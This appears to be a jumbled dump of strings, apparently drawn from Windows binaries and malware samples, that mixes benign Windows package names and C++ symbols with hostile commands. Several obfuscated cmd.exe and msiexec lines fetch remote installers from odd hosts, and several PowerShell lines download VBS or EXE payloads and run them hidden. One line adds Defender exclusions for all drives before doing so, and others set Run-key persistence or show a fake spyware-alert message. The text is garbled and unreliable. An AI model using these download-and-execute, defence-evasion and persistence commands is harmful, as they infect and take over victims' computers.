0cmd.exe/dhoe/q/rsta^rtm^s^i^e^x^e^c-q^u^q^w^hju=^zoxv-pa^ck^a^ge"http://q0.wf:8080/bkba4xvvq/7/st7jugk1fyogtidrqwwzzj/%computername%"%windir%\system32\shell32.dll%
\cmd.exe~/x/d/v/r^s^ta^r^t^msie^xe^c^doo^fh=nz/fv"http://a0.pm:8080/yguiumvqz5oezr/ki/jm7l2ycwtvrccl/e/5jw8/!computername!"-^q^n!%systemroot%\system32\shell32.dll%
cmd.exesiapprintbaruv/x/d/q/v/c^s^t^a^rt^msi^exe^c/quiet/fv"http://2t.wf:8080/bta9zyjmqq5aoqzkp4/!computername!"^qmt^g^b^xa=^xys^ytp^d%windir%\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0~-windowstylehiddeninvoke-webrequesthttp://5.206.224.141/lokum.vbs-outfile%temp%\prove.vbs;start-process%temp%\prove.vbs%
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://www.sessosesso.it/assets/aw/drip.hta
r windows
:\windows\s
call1 = "WindowsPo" + "5
WindowsSubstringWithSpecifiedLength
Windows.System.Launcher.dll
runprogramifexist""(regadd"hkcu\software\microsoft\windows\currentversion\run"/v""/treg_sz/d""
hkcu:\software\microsoft\windows\currentversion\explorer\runmru
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-ScreenSavers-3D-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|icrosoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.261
exists("c:\windowsR
.@Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
.@Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
 @Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
software\microsoft\windows\currentversion\run
settings\user agent\post platformwindows security center has detected a spyware infection!install anti-spyware to prevent data loss!click here to install latest antispyware tool.AD031
0windows 7
xSystem.Windows.Forms.Shortcut,System.Windows.Forms, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://lobfile.com/file/m5d5ij8e.txt
startpowershell-windowstyleh-args'sleep
[=windows%
pl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
WINDOWS11
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
WindowsPenStyle
get_WindowStyle
set_WindowStyle
CatWindowStyle
GetWindowStyle
SetWindowStyle
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Name
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_Name
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accName
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.set_accName
`/windows_defender_host.exe
!#AGGR:Lua:FileContext/FileInWindowsApps.A
Lua:FileContext/FileInWindowsApps.A
 native modulesettingsDebugTaboutDialogDeviceidLabelevationeutralQuaternaryAlt__metadataContaineresponderIgnoreScroll__parambient__propKeyelashareLoading/get_progress_item_infoBackground__rewriteRelativeImportExtensionScrollShouldSetResponderCaptureact.elementTypeg$parsetransformFunctionscrollsToToption1__runInitializersettingsGeneralPlaceholdersBox__setFunctionNamediumvioletreduceTransparencyChanged__spreadArraysettingsGeneralStorageSectionToggleFolder__valuesettingsGeneralSyncTaboutDialogOnedriveInfoLabelanguageChanged_arrayLikeToArrayud_arrayWithoutHolesettingsHelpGetHelpWoTagselectCoAuthLockedItemstep1_assertThisInitializedigestylistic-sixteenqueueReplaceState_buildTextStylesettingsHelpPrivacyCookiesWoTagselectConfirmDialogStringstickyHeaderIndicesubHeaderLinkAlignoreCaselective_sync/on_submitButtonUnmountState_byteLengthrowOnInvalidObjectTypeg$c39_callTimerResume_catchLocommonModalContainerrorTextStylesetMany_blank_counterEvent_cellKeyToChildren should contain cellKey0_clearIndexecuteDirectDispatch(...): Invalid `event`._combineCallbacksettingsHelpReportConcernNewarnUnimplementedFilter_constructClassInstance_copyTokencoding must be a stringifyValidationResult_createClassErrorUpdatextKey_createSlotRenderFunctionSelectOptionalDiagnosticDataSelectionVideoLoadStart_definePropertiesettingsHelpTaboutDialogRelatedLinksettingsManageStorageButtonTouchEndCapturegisterHeadlessTask or registerCancellableHeadlessTask called multiple times for same key '_enterPictureInPictureCmd_exitPictureInPictureCmd_fetchUriDatabpanelastUpdatedItemId_filesScrollViewelcome_page/sign_inheritsettingsHelpThirdPartyNoticesWoTagselectCurrentPaget ViewWindowsublocality_flushPassiveEffectslotFnotificationsHeadergba(0,0,0,0.1)_getComponentOptionsettingsHelpTermsOfUseWoTagselectCurrentItemailHrdResult_getHasTokenqueueCapturedUpdatextPressed_getKeyAndValueFromCSSTransformatErrorWithConfirm104.712 11.04-1.54-3.8a.41.41 0 0 0-.573-.213l-2.512 1.296a.416.416 0 0 0-.198.521l1.661 4.206a.423.423 0 0 0 .642.183l2.385-1.7a.416.416 0 0 0 .135-.493_getPixelsVisibleErrorState_getPrototypeOfreChooseRootFolderPathTitle_getRequireWildcardCacheckForUpdatestOnly_pressedButton_getTokenPropInfoBlueCloudFull_Win11_interopRequireWildcardinalignContent_isEntirelyVisible__isNativeFunctionSettledFulfillabelText_isNativeReflectConstructrlKey_isPolyfilledimensionsOnActivate_isViewable_lookupOrCopyTokenqueueConcurrentHookUpdatextSelected_loop_1_matrixTransformatFilesizesDifferotate(-135 24 24)_mergeAndFilterPropsettingsLearnMoreFondTextouchableHandleActivePressOut_nonIterableRestorePurchaseButtonClicked_nonIterableSpreadBlobAsArrayBuffergba(255, 255, 255, 0.16)_objectSpread2_objectWithoutPropertiesLooseashellipselectiveSyncSelectedSizeV2_onBlurCapturebeccapurpleLighttp://localhost:9001/sync/KFMOptOutSurvey/handleKFMOptOutSubmitemPermissionextLocomponentProviderInstrumentationHookfmErrorTitle_onFocusCapturecomputationWrapperspective_onSelectionChangeShouldSetResponderCaptureact.forward_refineKeysecondaryTextContainer_parse1_processSlotEntriesettingsLearnMoreTextouchableHandleBlurl(#K)_processStyleFunctionsettingsLimitNetworkDownloadBox_processUpdateQueue_queryCacheckIEEE754_scheduleUpdateOnFiberotate(-.4 225.857 132.57)_setPrototypeOfreChooseRootFolderTitle_superPropGetoSpaceselectEmailListartOffsetStateChangeselectAllowOD4Entry_throwInvalidHookErrorotate(-139.764 190.86 26.636)scale(4.65875 7.07533)_toArrayellowStaria-posinsetsDiffergba(0, 0, 0, 0.1)_toConsumableArray_toPrimitive_toPropertyKey_typeoffsetHeighttp://localhost:9001/sync/KFMOptOutSurvey/displayHandleKFMOptOutSurveyDataModelightTheme_unsupportedIterableToArray_validateOptionsettingsLimitNetworkUploadBox_wrapNativeSuperformUnitOfWorkfmOnboardingKFMDisabledBackupCalloutTextripletToBase64`setTranslucent` is only available on AndroidleinputRanget RefreshControlivedraboutDialogDeviceidCopyShortlContainerquaddResourcesettingsNotificationTaboutDialogUpdateringMsitemLoadedaccountSectionativeTraceBeginSectionormalTaboutHeaderKFMOnboardingClickedaboutTabIdfontStylesetSelectedTabv1freTutorialIntroMac_errorsChangedfreTutorialShaa
$env:appdata\microsoft\windows\startmenu\programs\startup
=[system.windows.forms.systeminformation]::virtualscreen
root+"\syswow64\windowspower
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
4Xsilenced.cmd..\..\..\..\knobbed\silenced.cmdc:\windows\system32\zipfldr.dll
aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
@Security@Windows@ABI@@@Found"
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
rpginaWindows messenger/
system sys process.exewindows\W
\cmd.exeex/q/y/y/v/rs^t^a^r^t^msi^exe^c-^f^v"http://2t.wf:8080/b1b7hbzk4yji/qxoy2pr3cjzlpi1/s/lh929usp4kok/!computername!"/^q"%systemroot%\system32\imageres.dll%
Behavior:Win32/WinlogonRegistryShell.C
<t>syswow64\</t></si><si><t>\windows\</t></si><si><t>regsvr32.exe</t></si><si><t>-</t></si><si><t>"http
WINDOWSTRUSTEDRTPROXY
windows (r) win 7 ddk driverw
Path=C:\WINDOWS\system32;
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecatalogfactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecataloglocal.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecataloglocalfactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.shell.internal.applistentryfactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagestatus.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.appdisplayinfo.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagefactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packageid.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packageinstallingeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.appinfo.cpp
$C:\WINDOWS\system32\SecurityHealthService.exe
Windows\S
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-SD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-SD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-msmq-http-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|Microsoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
windows.hlp
 and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsCreateString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsSubstringWithSpecifiedLength
Windows.ApplicationModel.d
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringLen
Global_WindowsStorage_Untyped_rgshil
Global_WindowsStorage_esServerMode
Global_WindowsStorage_dwThreadInitializing
Global_WindowsStorage_fEndInitialized
Global_WindowsStorage_MaxIcons
Global_WindowsStorage_csIconCache
Global_WindowsStorage_iLastSysIcon
Global_WindowsStorage_Untyped_MountPoint
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.internal.packagecontentgroups.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packageuninstallingeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.package.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagestagingeventargs.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.packagecatalog.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.startuptask.cppount@DownloadScenario@@QEAAXXZ
\<start-processc:\windows\temp\
Wurl=https://github.com/proxyonly/zx/raw/refs/heads/main/se"c"u"ri"ty.exe"set"tempfolder=%system32%
<ps:WindowsClientString>
</ps:WindowsClientString>
powershell-windowstylehidden-command"add-mppreference-exclusionpath'c:\*','d:\*','e:\*';start-sleep4;invoke-webrequest-uri'http://tmpfiles.org/dl/23878733/msedgeupdate.exe'-outfile'c:\\programdata\\msedgeupdate.exe'-usebasicparsing;start-sleep4;start-process'c:\\programdata\\msedgeupdate.exe'"
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat
Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
reg add hkcu\software\microsoft\windows\currentversion\runschtasks.exe /create /scs
-windowstylehidden$webclient=new-objectsystem
titleBarWindowShak
Windows.
https://www.bing.com/fd/auth/signin?action=interactive&provider=windows_live_id&src=SoUp_RWNU&perms=&sig=02B1A3392F9C64632EFFB32B2E36650A&return_url=https%3A%2F%2Fwww.bing.com%2Fmsrewards%2Fapi%2Fv1%2Fenroll%3Fpubl%3DEdgeIP%26crea%3DML1T15%26pn%3DRewardsDO%26partnerId%3DEdgeReward%26pred%3Dtrue%26Token%3D1%26lw%3D1%26swt%3D1%26noaadredir%3D1
BMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy-In-Allow-ServerCapability
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@U?$IAsyncOperation@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@234@@@YAJPEAU?$IAsyncOperation@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$IAsyncOperationCompletedHandler@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVTargetedContentSubscription@TargetedContent@Services@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|S
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat||
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat||
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
??$handleWindowScreenChanged@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@PEAVQScreen@@@Z
??$handleWindowScreenChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@PEAVQScreen@@@Z
??$handleWindowScreenChanged@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@PEAVQScreen@@@Z
??$handleWindowStateChanged@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@V?$QFlags@W4WindowState@Qt@@@@H@Z
??$handleWindowStateChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@V?$QFlags@W4WindowState@Qt@@@@H@Z
??$handleWindowStateChanged@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@V?$QFlags@W4WindowState@Qt@@@@H@Z
Windows NT 
?platformSynthesizesMouse@TabletEvent@QWindowSystemInterfacePrivate@@2_NA
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
msBingSearchFromWindowsSearch
msBingSearchFromWindowsHelp
msBingSearchFromWindowsLockScreen
sa?windowStates@QWindow@@QEBA?AV?$QFlags@W4WindowState@Qt@@@@XZ
*T?peekWindowSystemEvent@QWindowSystemInterfacePrivate@@SAPEAVWindowSystemEvent@1@W4EventType@1@@Z
V?removeWindowSystemEvent@QWindowSystemInterfacePrivate@@SAXPEAVWindowSystemEvent@1@@Z
aesb_last_update_time_windows_epoch_micros
14b^com.microsoft.windows.extensionpackage
14c^com.microsoft.windows.extensions.xaml
14d^com.microsoft.windows.extensions.xaml
windows_machine_domain
windows_user_domain
windowsMachineDomain
windowsUserDomain
isWindows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM
